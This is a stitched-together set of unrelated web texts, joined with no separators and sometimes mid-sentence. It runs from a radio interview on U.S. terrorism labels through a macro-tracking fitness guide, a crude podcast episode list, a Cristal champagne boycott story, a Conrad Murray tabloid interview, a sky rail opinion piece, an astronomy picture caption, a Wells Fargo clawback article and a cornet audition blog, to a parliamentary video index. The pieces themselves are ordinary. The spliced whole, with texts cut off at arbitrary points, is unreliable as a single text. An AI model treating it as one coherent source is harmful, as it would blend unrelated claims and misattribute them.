BERGEN: Well, so for instance, Glenn Frazier Cross attacked a Jewish Community Center last year killing two and then went to another Jewish center and killed another person, and when he was arrested, shouted heil Hitler. He's pleaded not guilty, but this seemed like a pretty clear case of political violence done sort of with neo-Nazi intentions. And then, of course, on the jihadi side, there are some cases that are well-known, like Ft. Hood. But there are cases that are less well-known - for instance, Carlos Bledsoe, who attacked a Little Rock, Ark., recruiting center, killing one soldier in 2009.
MARTIN: Why do these labels matter?
BERGEN: Well, it's an interesting question. I mean, I think that as an analytical matter, it's quite important to distinguish between acts of simple murder and acts that are politically motivated. And, you know, in the 1970s in the United States, we saw a lot of political violence that was terrorist in nature, whether it was from the left or Weather Underground or the Black Panthers or whether it was Puerto Rican nationalists. There's been political violence for all sorts of reasons in the United States throughout our history and sort of trying to identify, you know, what is and what is not an act of political violence is important.
And then also, by the way, Rachel, from a legal point of view, when people go into court, the Justice Department has certain guidelines about sentencing. So, for instance, if a crime is deemed to have a terrorist underpinning, the sentences that are handed down are longer than it would be just for a conventional crime.
MARTIN: The Obama administration held a big conference on countering violent extremism last year. And it took great pains - it made sure not to limit the conversation to Islamic extremism. So the White House has been sensitive to this, but is that just optics to some degree? Is there any real effort to counter what you have described - this other kind of threat, this non-Muslim radical threat?
BERGEN: Well, I think that's a great question. And certainly, a lot of the countering violent extremism work and thinking has been about jihadis. But this should be equal work done with people who have neo-Nazi ideas or extreme antigovernment ideas that are willing to conduct violence in their name. And, I mean, one of the interesting things about the piece in The New York Times today, which cited our work, is the number of police chiefs who are very concerned about the so-called sovereign citizens movement in their areas and other kinds of extreme right-wing political groups because, of course, they often target police officers. So certainly, police - local police chiefs are keenly aware of the fact that they need to be looking at other forms of political violence as well as jihadists.
MARTIN: Peter Bergen is a terrorism expert who helped lead a study from New America comparing homegrown terrorist threats. Thanks so much for talking with us.
BERGEN: Thank you.
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But first, what does "to macro" mean? "To macro" means tracking the number of grams of protein, carbohydrates, and fats you consume on a particular day. Bodybuilders and physique competitors have mastered this art and have no qualms about whipping out their food scale at any given moment. For the rest of us, it means going out and buying a scale, taking the time to do the measurements and calculations, and perhaps most imposing of all, setting aside the mental bandwidth to actually care about the results.
So should you do it? It depends.
There are benefits and drawbacks to either path. I have tried both, and depending on my fitness goals at the time, I have found success with both. The key is to determine which method best suits you and is the most sustainable. If you're in a position where you're not sure whether it's worth losing sleep over your nutrition intake, allow me to lay it out for you. I've sketched a number of possible scenarios below, and your job is to align yourself with the one that best suits you.
Let me remind you, however, that you absolutely must be patient and consistent with whatever path you choose. Flip-flopping back and forth between tracking and not tracking your macros will put you on the fast track to nowhere.
When To Macro
Situation 1. You're Lean, But You Want To Be Leaner
If this is you, then you should know that even small variations in nutrition intake can mean the difference between dropping those last few pounds of stubborn fat or standing still.
I'm 5-foot-2, and my weight likes to fluctuate between two and five pounds on a day-to-day basis. Even just a few hundred calories can tip me over the line from caloric deficit to maintenance mode, and that would be frustrating if I were only one belt notch away from my goal.
I get that there isn't a huge discrepancy between 85 and 100 grams of chicken. In fact, that difference is negligible, and you can easily get away with it—in isolation. But that mindset of It's just a little bit, when applied over and over again to every food item at every meal, will add up to more than just a little bit by the end of the day. Thirty calories here, 20 there, 50 over there, and before you know it, you've eaten back the 250 you just burned off in your most recent workout.
The mindset of 'it's just a little bit' when applied over and over again to every food item at every meal, will add up to more than just a little bit by the end of the day.
If that sounds like your mindset, it's probably best not to take any chances. Keep a tight rein on your macros to dial it in for that home stretch.
Situation 2. You Have No Concept Of What "enough Protein" Means
For some individuals, when they say they eat enough protein, what they really mean is, My intake is probably around 40 grams, and I'm not sure, but I think that's enough. Peanut butter is full of protein, right?
No, that's not enough. Not even close. And sorry to burst your bubble, but peanut butter is a fat source.
Sorry to burst your bubble, but peanut butter is a fat source.
As a general rule of thumb, shoot for one gram of protein per pound of bodyweight. There are a number of variables that affect this number, but let's just leave it there for simplicity's sake. If your idea of a protein-rich breakfast is one measly egg white with your oatmeal in the mornings, it's time to re-evaluate the way you eat. First of all, you probably want to eat the whole egg. And second, aim for around 20-30 grams of protein per meal.
The same goes for carbohydrates and fats. It's common for people to grossly underestimate their carb intake and overestimate their fat consumption. Paleo dieters, I know some of you are guilty of eating way too much fat—however healthy the source may be—and then wondering why you're not leaning out.
Putting some caloric numbers to those fats may be just the thing to help you get your gut in order.
Situation 3. Your Body Signals Are Out Of Whack
Tell me if this sounds like you. Suddenly, you need to devour an entire chocolate bar when the clock strikes midnight because your body "needs" it. If you crave chips, you convince yourself that your body is obviously suffering from a vitamin deficiency and it's imperative you get your daily dose for the health of your, uh, hair. And Grandma always said you have to have some dairy with each meal, and your body is calling for Ben & Jerry's, so I guess there's nothing you can do but oblige!
Or maybe you just have an insatiable appetite which, if left unchecked, could do some serious damage. Paying attention to your physical hunger signals could spell trouble, because your muscular lateral hypothalamus leads to a spare tire around your waist. It's unfortunate, but some people may need to conscientiously regulate their food intake with concrete numbers to overcome this beast.
Paying attention to your physical hunger signals could spell trouble.
The alternative may lead to a bit more hunger, but honestly, experiencing some hunger every now and again isn't a bad thing. It can be immensely beneficial; it teaches you to control your impulses and plan better—both great life lessons, if you ask me.
Situation 4. You Have A Deadline To Meet
A competition, a wedding, a photo-shoot—whatever it is, the clock is ticking, and there's no room to play guessing games. You have to know the facts, and you need to work with numbers.
Waist circumference hasn't budged in two weeks? OK, let's take a look at your macronutrient breakdown. It says here you eat 300 grams of carbs every day. That's why. What's that, your hair is falling out and your skin is dry? Well, you're only consuming 15 grams of fat per day! Let's triple that number and throw some extra fish oil in there.
Fat loss is by no means a linear process, and there are many factors which determine when and how much of the extra weight peels off. Sleep, water intake, macronutrients, and non-exercise activity thermogenesis all play a role. These are all controllable variables, and you'd better believe controlling what you eat will help keep you on track to be in rockin' shape by the time zero hour rolls around.
You can't afford to risk losing two weeks' worth of fat-shedding just because you want to test your theory that you can consume jasmine rice post-training ad libitum without gaining any extra weight. Ain't nobody got time for that.
When Not To Macro
Situation 1. Your Neurosis Gets You Nowhere
Take a deep breath, and shift your focus to the weight that you pull in the gym.
Once upon a time, I used to spend two hours every Sunday evening researching a million different diets and macronutrient recommendations. I'd tweak my macros. Half an hour later, I'd change my mind and tweak them again. Then I'd let it play out for about a week, and before I gave it a chance to let any real progress occur, I'd move on to a whole new set of numbers.
There I was, so closely scrutinizing every last gram of food I ate that I lost sight of the big picture. Patience is a virtue, and I had none of it. I didn't know how to relax when it came to my nutrition, and it manifested itself in the form of a whole lot of wasted effort in exchange for no discernible difference in my physique. This was wheel-spinning at its finest.
If you're like my former self and find yourself falling victim to paralysis by analysis, perhaps now is a good time to step away from the numbers for a while and invest your energy into the nutrition basics. I promise you won't die.
Take a deep breath, Nervous Nelly, and shift your focus to the weight that you pull in the gym. Or pay attention to the portion of sweet potatoes on your plate and how eating all of that makes you feel. Pretty good, eh? And how about that succulent steak? Cooked medium-rare to perfection? When was the last time you allowed yourself to enjoy food like this?
Situation 2. You're A Macronutrient Veteran
You're so well-versed with the art of macro-counting that you can glance at a slab of chicken and pinpoint its weight down to the gram. "That looks like about 134 grams," you say. And the food scale spits out close to the same number. "I'm going to have 200 g of carbohydrates today," you think to yourself, and you effortlessly eyeball your way to within three grams of your target intake by the end of the night.
Perhaps you got so good at this because you eat more or less the same foods every day. You're an extreme creature of habit, and you like to stick with what you know and what you like. This means the same food at the same time, day after day. While I strongly encourage rotating food choices for the sake of covering your nutrients and avoiding food intolerances, if you made the decision to eat this way, then your macros may not teach you much anymore.
This is a skill that takes years to master, and not many of us will fall into this category. Huge kudos if this is you.
Situation 3. You Just Got Your Feet Wet
Scenario A: You come from a sedentary background, and your idea of a healthy dinner is an extra lettuce leaf on your Big Mac.
Scenario B: You've ridden the elliptical all the way to a pancake-butt, and you wonder why you look worse, despite cranking up your cardio to 10 hours per week. No weight training, mind you, and all you eat are carrots.
Scenario C: "Is butter a carb?"
Whichever of these scenarios applies to you, you're not ready to make the leap yet. And that's perfectly OK, because you can still make tremendous progress—up to a certain point, of course—without counting a single thing.
Let's backtrack a little bit and work on the big nutrition rules. Are you drinking enough water and lifting consistently? Are you getting enough sleep and managing your stress levels? Are you able to look at two different food items and immediately know the healthier choice—and then eat that for dinner? Can you have a treat meal for Friday night's birthday celebration without it turning into a treat month?
Are you able to look at two different food items and immediately know the healthier choice—and then eat that for dinner?
Until you can do all of these things, there's no point in jumping ahead and worrying about macros.
Situation 4. You Want To Be Healthy, Not Freaky Shredded
You want to be a healthy size and fit back into the jeans you wore in high school. Or you want to be able to sprint to the elevator at work and not keel over. You have no interest in stepping on stage, spray-tanned orange and wearing a bikini that leaves little to the imagination—nor will you ever.
There's no timeline for your goal. Fitness is important to you, but you don't want it to consume your life, and you really, really couldn't care less if you consumed 160 or 185 grams carbohydrates on any given day. Life is short, and you'd rather spend your time doing anything but counting your food.
For some of you, this may sound like a regression waiting to happen. However, for many, it's a perfect end-goal, and a vast improvement over the average person.http://traffic.libsyn.com/purebspodcast/PBS_EP089.mp3
This episode contains: Sloane is back, the elephant in the room, we thought Sloane died, back in Mexico, RSP is coming back, new host for RSP, Andy, professional man, non-ironic clothes, “real hipster”, first penis, big tits, squid dick, poor shafted Andy, Andy faking black, Maureen call back, 60 grit sand paper, Sloane on facial hair, Magnum P.I, Timothy Dalton, face pussies, hipster gear, sitting on beards, Sam Elliot’s mustache, mustache nicknames, Paul shaves his head, mid life crisis, pedophile pranks, Steven’s daughter, gushing on babies, sexy scientists, distracted by computers, mustache mustache titty, Sloane in Mexico, “Rent of Horse”, Sloane’s sister is too hot for Mexico, Mexican pharmacies, Mexican Xanax, Sloane wants to score heroin, dolphin sex, recapping the bonus show, cocaine and the 4th of July, Dorst loves cocaine, Mexican roofies, how to get downloads, work ethic, repartee, favorite parts of Reel Stupid, Reddit announcement.
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Like this: Like Loading... RelatedLet’s say you have a product, an expensive product. It is also considered a luxury product.
You would think that it would be the best thing in the world to have a musician regularly mentioning your product in their music and in public right? Think about it. You get all of that free publicity and then their fans go out and splurge trying to be like their idols. So sales go up and up and you're doing great. Then other musicians follow suit and now you have lots of them seen using your product and giving you free advertising. You don’t have to lift a finger.
Well for most people and most companies this would be a dream come true. But for one executive he saw the particular fan base as less than savory customers and decided to speak about it. To horrible effect for his company.
In an article for The Economist in 2006, Louis Roederer president Frédéric Rouzaud spoke dismissively of the attention Hip-Hop stars and their fans brought to the brand:
“What can we do? We can’t forbid people from buying it. I’m sure Dom Perignon or Krug would be delighted to have their business.”
He was about to get his wish. And oh how he would come to regret it.
As his comments were seen as racially motivated and even outright racist by some people it went predictably bad. Hip-Hop musicians openly called for a boycott and Jay Z whom frequently mentioned Louis Roederers Cristal champagne spoke out and vowed to never mention the drink again. The results were catastrophic.
Cristal’s branded media popularity rapidly fell from #8 in 2005 to #63 in 2006! It turns out that the ones he mentioned “forbidding” buying were actually part of their customer base. When they stopped buying it stores couldn’t move the stock anymore. There was suddenly a glut on the market and the resulting depressed prices made the now discounted luxury champagne seem cheap so it further lost market share.
What is worse, because champagne is a fermented product the production cycle is pretty long. They were already growing grapes that were planted in anticipation of future sales numbers that would not be bottled until years later. So even though demand had rapidly dropped the entire pipeline for the company was geared for being the higher seller. So they couldn’t easily reduce stock and correct for the error to keep the prices at a premium and maintain the perception of luxury quality.
There are lots of ways they could have handled this overstock that was killing the brand. One option would have been to get some advertising people to quickly draw up a new brand name and logo and make all the preparations and sell it off as a off-brand DBA[1] discount champagne. This would let them lower their overstock AND they might even push some of the cheap knock offs out of the market. But that is not what they did.
Instead they forced suppliers to buy the overstock of the Cristal champagne. Suppliers had to buy the Cristal or they would not sell them the other high demand wines and champagnes that Louis Roederer sold. Again this increased the glut on the market for years to come and it took a long time before the company could recover from this snafu.
All of this because a CEO did not know who his customer base was, went the additional step of making what many perceived as racially motivated or racist comments about them and then bungled the business side of recovering from it.
So many lessons to be learned from this story. The downfall of Cristal champagne in the Hip-Hop industry is a fascinating story that stuck in my head now years later. Only now a decade later is it finally beginning to see a comeback and not as it once did. It may never be that popular again.
Ref: Jay-Z reflecting back on the event for Time magazine in 2010.
Breaking News, Analysis, Politics, Blogs, News Photos, Video, Tech Reviews - TIME.com
Also for those that don’t understand how the comment by the CEO could be seen as racially motivated see this comment.
Footnotes
[1] Trade nameAstounding comments from Michael Jackson's doctor Conrad Murray that he saw visions of the dead star, offering support to him during the doctor's trial for murder. Courtesy Nine Network, 60 Minutes.
IN his first interview since being released from prison, Dr. Conrad Murray has said he and Michael Jackson were so close he "held his penis every night."
In the bizarre, rambling interview, the doctor convicted of Jackson's death painted a sad picture of The King of Pop's final days as a physically broken 50-year-old filled with dread and self-doubt.
Jackson barely had control of his bodily functions, according to Murray.
"He wore dark trousers all the time because after he went to the toilet he would drip for hours," he told The Daily Mail.
"You want to know how close Michael and I were? I held his penis every night. I had to put a condom catheter on him because Michael dripped urine. He had a loss of sensation and was incontinent."
The ex-physician goes on to say, "Michael didn't know how to put a condom on, so I had to do it for him."
Murray was found guilty of injecting the singer with an overdose of Propofol that killed him on June 25, 2009. He was convicted of involuntary manslaughter and spent nearly two years in jail.
Murray went on to say in the interview that Jackson gave himself lethal doses of anaesthesia after pleading for more drugs, and said that he was not responsible for his overdose.
"I did not kill Michael Jackson. He was a drug addict," Murray said. "Michael Jackson accidentally killed Michael Jackson."
Murray disputed successful prosecution claims that he put Jackson on an IV drip of propofol.
The doctor said Jackson begged him that day for "milk" - their code word for propofol - before he "reluctantly gave the pop icon a minuscule" 25mg injection.
"I received a phone call at 11.07am, and when I left Michael at 11.20am, he had a normal heartbeat, his vital signs were good," Murray said.
"I left the room because I didn't want to disturb him."
Murray added: "I believe he woke up, got hold of his own stash of propofol and injected himself. He did it too quickly and went into cardiac arrest."An artist's impression of the sky rail at Murrumbeena station.
Ambitious building projects invariably impact people living closest to the site. These residents should not be permitted to hijack public debate. They are, however, entitled to voice their displeasure. And the No Sky Rail president, who lives one metre from the rail corridor, deserves some sympathy; when frustration and fury overtake us we tend to throw everything at an argument, without sifting the outlandish from the reasonable.
It is reasonable to complain, as she does, that the nine-metre structure will likely block her northern sun. It is outlandish to evoke a hypothetical disaster scenario, such as a derailment causing "80,000 tonnes of fully laden freight" to come crashing down on homes. Yes, and planes can fall from the sky but we still have flight paths above residential areas. And the less said the better about her concerns paedophiles can peer down into her backyard pool when the kids are swimming. (Besides, the government says barriers will be erected on the viaduct to protect the privacy of nearby residents.)
The protesters cluster around the themes of the viaduct devaluing property prices (when arguably proximity to modernised public transport boosts the value of nearby homes) and being an "eyesore" that divides the community and invites undesirables to shelter in "ghettos" underneath. With depressing predictability, the opposition has endorsed their cause. It is what oppositions of all persuasions do — pander to local disaffection, even as it sets them up for charges of betrayal once in government. And even when the cause is less than deserving.
"Eyesore" is a subjective assessment and as in love, beauty in urban structures is in the eye of the beholder; we look admiringly on that which works for us. When Tony Abbott described wind farms as ugly his aesthetic preference reflected his indifference to their function. In my stomping ground, Carlisle Street, Balaclava, the elevated rail bridge carries our beloved emblem of place, the sculpture of the schooner Lady of St Kilda, tossed on a sea of mermaids and starfish.Astronomy Picture of the Day Discover the cosmos! Each day a different image or photograph of our fascinating universe is featured, along with a brief explanation written by a professional astronomer. 2015 May 23
NGC 7822 in Cepheus
Image Credit & Copyright: César Blanco González
Explanation: Hot, young stars and cosmic pillars of gas and dust seem to crowd into NGC 7822. At the edge of a giant molecular cloud toward the northern constellation Cepheus, the glowing star forming region lies about 3,000 light-years away. Within the nebula, bright edges and dark shapes are highlighted in this colorful skyscape. The image includes data from narrowband filters, mapping emission from atomic oxygen, hydrogen, and sulfur into blue, green, and red hues. The atomic emission is powered by energetic radiation from the hot stars, whose powerful winds and radiation also sculpt and erode the denser pillar shapes. Stars could still be forming inside the pillars by gravitational collapse, but as the pillars are eroded away, any forming stars will ultimately be cutoff from their reservoir of star stuff. This field spans around 40 light-years at the estimated distance of NGC 7822.Wells Fargo will claw back an additional $75 million from two former executives implicated in the bank’s phony accounts scandal. In doing so, Wells Fargo has also apparently closed the coffin on the career of Carrie L. Tolstedt, who was prized as a superstar female leader before the bank fired her last year.
Following the revelations last summer that thousands of Wells Fargo employees fraudulently opened as many as two million unauthorized accounts for customers, the bank released a report Monday detailing the findings of its board’s investigation into the problems, and the consequences it imposed as a result. In dollar terms, that inquiry proved very costly to former Wells Fargo (wfc) CEO John Stumpf, who will give up another $28 million of past compensation in addition to a previously announced $41 million clawback, as well as Tolstedt, who will relinquish $47 million more of her pay on top of the $19 million that was already revoked.
But while Tolstedt’s total clawbacks, at $67 million, are slightly less than the $69 million that Stumpf lost, there is no question that she is the one painted as the true villain in the board’s report.
As The Wall Street Journal first observed, Tolstedt’s name is mentioned 142 times in the 113-page document. Former CEO Stumpf, who resigned in October, is referenced only 81 times. And it’s Tolstedt, who led the community banking division responsible for the fake accounts, who is blamed in the report for the lion’s share of misconduct, while Stumpf is largely faulted only for failing to fire Tolstedt sooner.
The language Wells Fargo’s board uses to describe each leader makes this clear. Tolstedt was “insular and defensive,” “resistant to change and inflexible,” and “‘obsessed’ with control,” the board wrote in the report. She “mismanaged” the bank’s response to the aggressive sales tactics that seemed to breed bad behavior, submitting reports to the board that were “viewed by many as misleading.” What’s more, the board accused Tolstedt of being callous and indifferent to the potential harm she was causing: “There is no evidence that Tolstedt showed serious concern about the effects of improper sales practices on Wells Fargo’s customers,” it wrote.
Meanwhile, the board could find nothing worse to say about Stumpf than that he “was by nature an optimistic executive” who “nonetheless moved too slowly to address the management issue.”
Tolstedt, on the advice of counsel, declined to participate in or be interviewed for the Wells Fargo internal report. In a statement issued Monday after the board findings were released, Enu Mainigi, an attorney at the firm Williams & Connolly LLP, which represents Tolstedt, said, “We strongly disagree with the report and its attempt to lay blame with Ms. Tolstedt. A full and fair examination of the facts will produce a different conclusion.”
An unhappy ending
Wells Fargo’s findings are an ignominious career finale for Tolstedt, who was a fixture on Fortune’s annual Most Powerful Women list, ranked at No. 27 as recently as 2015, recognized as the most powerful female banker in the U.S. at the time. In fact, Fortune would likely have included Tolstedt again on its most recent MPW list in 2016. In July, however, Tolstedt abruptly announced she would retire at the end of that year, disqualifying her from the list.
Ultimately, despite her plans to retire voluntarily, Wells Fargo decided in September that it would fire Tolstedt for cause, employing a harsh distinction rarely used in an industry that often lets even shamed executives walk away on their own terms. Termination for cause, after all, generally dictates forfeiture of valuable severance packages.
That outcome seems to have disproportionately fallen on women as a result of Wells Fargo’s fake account scandal: Besides Tolstedt, Wells Fargo also terminated four other executives for cause in February, three of whom were women, the board said in its report. (The four executives were Shelley Freeman, Pam Conboy, Matthew Raphaelson and Claudia Russ Anderson.)
While Wells Fargo’s report justified its decisions to let those employees go, other researchers have raised questions about whether gender bias is also at play. A study last month, for example, found that female financial advisors at Wells Fargo were 25% more likely to be punished for alleged wrongdoing, and to lose their jobs, than their male counterparts.
And relative to their overall pay packages, Wells Fargo’s clawbacks deprive Tolstedt of a much larger portion of her compensation than they do Stumpf. The former CEO is losing $69 million, or 85%, out of the $81 million he made between 2013 and 2016. Tolstedt, meanwhile, is giving up $67 million—or almost twice the $36 million she took home over the same period. (Tolstedt’s latest round of clawbacks involved stock options that were not counted in her annual compensation from previous years because she never exercised them; rather than having to pay back Wells Fargo out of her own pocket, she will simply not receive that compensation.)
Factor in benefits and total compensation, Stumpf is giving up 40% of the $174 million he was set to collect from Wells Fargo before the clawbacks. Tolstedt, on the other hand, is losing 54% of the $125 million pay package she was originally entitled to when she retired.
That means Tolstedt’s net worth is also taking a much bigger hit than Stumpf’s. The amount of Wells Fargo stock that Tolstedt owns outright, according to the company’s most recent proxy statement, which would have given her a net worth of at least $131 million at current share prices, has been reduced by more than half; her current portion is now worth $52 million. Stumpf, on the other hand, is still worth at least $132 million, based on his current stock holdings, though it’s unclear if or how many of those shares he will have to sell in order to return the amount Wells Fargo is clawing back.
Tolstedt, of course, is not the only executive on Fortune’s Most Powerful Women list to experience |
terms of melodic style (particularly in the slower sections), articulation in the technical passages, dynamic contrast and vibrato that is more orchestral then brass band and how to make the opening and cadenza as dramatic as possible. It was Nakariakov’s rendition of Meditation from Thaïs which blew me away. He makes the trumpet sound like a string instrument!!! Now I’ve heard and played pieces intended for string instruments, but brass mimicking strings is something I’m completely new to and I love it. I, by no means, played Meditation in as skilled a way as Nakariakov but his version helped me to get the right feel far more than the original violin version (sorry strings I’m a brass girl). I hope to write a post (or ten) about him as I’m currently doing a lot of research into his background and recordings. I’m also planning to do a review on my two audition pieces, so hopefully I’ll get chance to write those not long after new year, dependent on how much…merry-making shall we say, happens on New Years Eve.
The Verdict
So, the part you’ve been waiting for- the audition. I was auditioned by Roger Webster- current Grimethorpe principal cornet and whose recordings I’ve used many times as a reference, and John Miller who is head of wind, brass and percussion studies at the RNCM, so yeah, quite influential people. Was I nervous? Well I had been preparing mentally as well as musically for this opportunity as I knew it would be a lot to deal with along with the pressure of wanting a place. I’d been religiously reciting positive affirmations to myself in front of the mirror every morning (which made me look like I had some form of musical multiple-personality disorder) imagining myself in the audition room when I practised, rehearsing potential interview questions with a fake ‘I’m not nervous’ smile stamped on my face, I prepared everything down to the pair of shoes I was wearing (you can judge a lot from person’s shoes you know, for example mine say that I basically live in converse so these are the only smart shoes I own). I was ready for musical battle, as I took one confident sparkly-ballet-flat footstep through the door and was greeted by my influential audience of two, I realised…that all my mental preparation and rehearsed potential answers had fallen out the back of my head and now I have to say hello to these rather important people and I’ve forgotten how to say hi, who I am and what I’m doing here. Now the audition itself I’m little bit hazy on as my mind was busy panicking on how to formulate logical sentences, but I believe I was quite chuffed with my pieces (a rarity in itself) I was happyish with my interview except I didn’t mention anything I’d prepared and I gabbled on about colliery bands for about five hours, and my sightreading has been repressed in a little pocket in my brain with other traumatic musical events. That was my perception of how the audition went anyway, but I must have done something right because as of September 2016 I’ll be studying music perfomance at the Royal Northern College of Music!! I’m absolutely over the moon with this as I have debated for ages about studying music here and never thought I’d be good enough or even have the guts to apply for a place, just goes to show if you never try you’ll never know.
Useful Links
Arutunian Trumpet Concerto- Nakariakov
Arutunian Trumpet Concerto- Dokschitzer
Meditation from Thaïs – Nakariakov
Meditation from Thaïs- Maxim VengerovNote: Latency in the video stream means index items will appear first.
11:15:00 Stephen Doughty MP (Cardiff South and Penarth, Labour (Co-op))
11:34:08 Oral Questions to the Secretary of State for Foreign and Commonwealth Affairs
11:34:15 Q1. What recent assessment he has made of the security and humanitarian situation in Yemen. (908030)
11:34:18 Mr Tobias Ellwood MP, The Parliamentary Under-Secretary of State for Foreign and Commonwealth Affairs (Bournemouth East, Conservative)
11:35:04 Luciana Berger MP (Liverpool, Wavertree, Labour (Co-op))
11:35:39 Mr Tobias Ellwood MP, The Parliamentary Under-Secretary of State for Foreign and Commonwealth Affairs (Bournemouth East, Conservative)
11:36:26 Geoffrey Clifton-Brown MP (The Cotswolds, Conservative)
11:36:47 Mr Tobias Ellwood MP, The Parliamentary Under-Secretary of State for Foreign and Commonwealth Affairs (Bournemouth East, Conservative)
11:37:26 Rt Hon Keith Vaz MP (Leicester East, Labour)
11:38:00 Mr Tobias Ellwood MP, The Parliamentary Under-Secretary of State for Foreign and Commonwealth Affairs (Bournemouth East, Conservative)
11:38:43 Daniel Kawczynski MP (Shrewsbury and Atcham, Conservative)
11:38:54 Mr Tobias Ellwood MP, The Parliamentary Under-Secretary of State for Foreign and Commonwealth Affairs (Bournemouth East, Conservative)
11:39:24 Stephen Doughty MP (Cardiff South and Penarth, Labour (Co-op))
11:39:48 Mr Tobias Ellwood MP, The Parliamentary Under-Secretary of State for Foreign and Commonwealth Affairs (Bournemouth East, Conservative)
11:40:13 Ms Tasmina Ahmed-Sheikh MP (Ochil and South Perthshire, Scottish National Party)
11:40:32 Mr Tobias Ellwood MP, The Parliamentary Under-Secretary of State for Foreign and Commonwealth Affairs (Bournemouth East, Conservative)
11:41:01 Chris Elmore MP (Ogmore, Labour)
11:41:18 Mr Tobias Ellwood MP, The Parliamentary Under-Secretary of State for Foreign and Commonwealth Affairs (Bournemouth East, Conservative)
11:41:47 Emily Thornberry MP (Islington South and Finsbury, Labour)
11:42:47 Mr Tobias Ellwood MP, The Parliamentary Under-Secretary of State for Foreign and Commonwealth Affairs (Bournemouth East, Conservative)
11:43:25 Emily Thornberry MP (Islington South and Finsbury, Labour)
11:44:21 Mr Tobias Ellwood MP, The Parliamentary Under-Secretary of State for Foreign and Commonwealth Affairs (Bournemouth East, Conservative)
11:46:11 Q2. What recent representations the Government has made to authorities in northern Cyprus on the killing of George Low in Ayia Napa in August 2016. (908031)
11:46:16 Mr Tobias Ellwood MP, The Parliamentary Under-Secretary of State for Foreign and Commonwealth Affairs (Bournemouth East, Conservative)
11:46:37 Gareth Johnson MP (Dartford, Conservative)
11:47:12 Mr Tobias Ellwood MP, The Parliamentary Under-Secretary of State for Foreign and Commonwealth Affairs (Bournemouth East, Conservative)
11:47:46 Chris Bryant MP (Rhondda, Labour)
11:48:09 Mr Tobias Ellwood MP, The Parliamentary Under-Secretary of State for Foreign and Commonwealth Affairs (Bournemouth East, Conservative)
11:48:37 Q3. What reports he has received on the conditions in which political prisoners are held in Colombia; and if he will make a statement. (908032)
11:48:41 Alok Sharma MP, The Parliamentary Under-Secretary of State for Foreign and Commonwealth Affairs (Reading West, Conservative)
11:48:59 Kelvin Hopkins MP (Luton North, Labour)
11:49:12 Alok Sharma MP, The Parliamentary Under-Secretary of State for Foreign and Commonwealth Affairs (Reading West, Conservative)
11:49:35 Robert Flello MP (Stoke-on-Trent South, Labour)
11:50:10 Alok Sharma MP, The Parliamentary Under-Secretary of State for Foreign and Commonwealth Affairs (Reading West, Conservative)
11:50:22 Glyn Davies MP (Montgomeryshire, Conservative)
11:50:47 Alok Sharma MP, The Parliamentary Under-Secretary of State for Foreign and Commonwealth Affairs (Reading West, Conservative)
11:51:09 Catherine West MP (Hornsey and Wood Green, Labour)
11:51:34 Alok Sharma MP, The Parliamentary Under-Secretary of State for Foreign and Commonwealth Affairs (Reading West, Conservative)
11:51:59 Q4. If he will review the UK's support for the Saudi-led coalition forces operating in Yemen. (908033)
11:52:04 Mr Tobias Ellwood MP, The Parliamentary Under-Secretary of State for Foreign and Commonwealth Affairs (Bournemouth East, Conservative)
11:52:33 Carolyn Harris MP (Swansea East, Labour)
11:52:55 Mr Tobias Ellwood MP, The Parliamentary Under-Secretary of State for Foreign and Commonwealth Affairs (Bournemouth East, Conservative)
11:53:28 Rt Hon Sir Nicholas Soames MP (Mid Sussex, Conservative)
11:53:42 Mr Tobias Ellwood MP, The Parliamentary Under-Secretary of State for Foreign and Commonwealth Affairs (Bournemouth East, Conservative)
11:54:23 Brendan O'Hara MP (Argyll and Bute, Scottish National Party)
11:54:39 Mr Tobias Ellwood MP, The Parliamentary Under-Secretary of State for Foreign and Commonwealth Affairs (Bournemouth East, Conservative)
11:55:12 Mrs Flick Drummond MP (Portsmouth South, Conservative)
11:55:24 Mr Tobias Ellwood MP, The Parliamentary Under-Secretary of State for Foreign and Commonwealth Affairs (Bournemouth East, Conservative)
11:56:06 Rt Hon John Spellar MP (Warley, Labour)
11:56:33 Mr Tobias Ellwood MP, The Parliamentary Under-Secretary of State for Foreign and Commonwealth Affairs (Bournemouth East, Conservative)
11:57:02 Q5. What recent discussions he has had with his counterpart in Israel on illegal settlements in the West Bank. (908034)
11:57:08 Rt Hon Boris Johnson MP, Secretary of State for Foreign and Commonwealth Affairs (Uxbridge and South Ruislip, Conservative)
11:57:44 Paula Sherriff MP (Dewsbury, Labour)
11:58:03 Rt Hon Boris Johnson MP, Secretary of State for Foreign and Commonwealth Affairs (Uxbridge and South Ruislip, Conservative)
11:58:52 Crispin Blunt MP (Reigate, Conservative)
11:59:07 Rt Hon Boris Johnson MP, Secretary of State for Foreign and Commonwealth Affairs (Uxbridge and South Ruislip, Conservative)
12:00:24 Rt Hon Hilary Benn MP (Leeds Central, Labour)
12:00:57 Rt Hon Boris Johnson MP, Secretary of State for Foreign and Commonwealth Affairs (Uxbridge and South Ruislip, Conservative)
12:01:44
12:02:18 Rt Hon Boris Johnson MP, Secretary of State for Foreign and Commonwealth Affairs (Uxbridge and South Ruislip, Conservative)
12:03:03 Rt Hon Alex Salmond MP (Gordon, Scottish National Party)
12:03:31 Rt Hon Boris Johnson MP, Secretary of State for Foreign and Commonwealth Affairs (Uxbridge and South Ruislip, Conservative)
12:03:58 Rt Hon Theresa Villiers MP (Chipping Barnet, Conservative)
12:04:16 Rt Hon Boris Johnson MP, Secretary of State for Foreign and Commonwealth Affairs (Uxbridge and South Ruislip, Conservative)
12:04:29 Fabian Hamilton MP (Leeds North East, Labour)
12:05:10 Rt Hon Boris Johnson MP, Secretary of State for Foreign and Commonwealth Affairs (Uxbridge and South Ruislip, Conservative)
12:05:18 Q7. What recent assessment he has made of the strength of diplomatic relations between Germany and the UK. (908036)
12:05:36 Rt Hon Boris Johnson MP, Secretary of State for Foreign and Commonwealth Affairs (Uxbridge and South Ruislip, Conservative)
12:06:10 William Wragg MP (Hazel Grove, Conservative)
12:06:31 Rt Hon Boris Johnson MP, Secretary of State for Foreign and Commonwealth Affairs (Uxbridge and South Ruislip, Conservative)
12:07:02 Mr Barry Sheerman MP (Huddersfield, Labour (Co-op))
12:07:25 Rt Hon Boris Johnson MP, Secretary of State for Foreign and Commonwealth Affairs (Uxbridge and South Ruislip, Conservative)
12:08:10 Q8. What recent assessment he has made of the strength of diplomatic and economic relations between countries of the Gulf Cooperation Council and the UK. (908037)
12:08:15 Mr Tobias Ellwood MP, The Parliamentary Under-Secretary of State for Foreign and Commonwealth Affairs (Bournemouth East, Conservative)
12:08:41 Jo Churchill MP (Bury St Edmunds, Conservative)
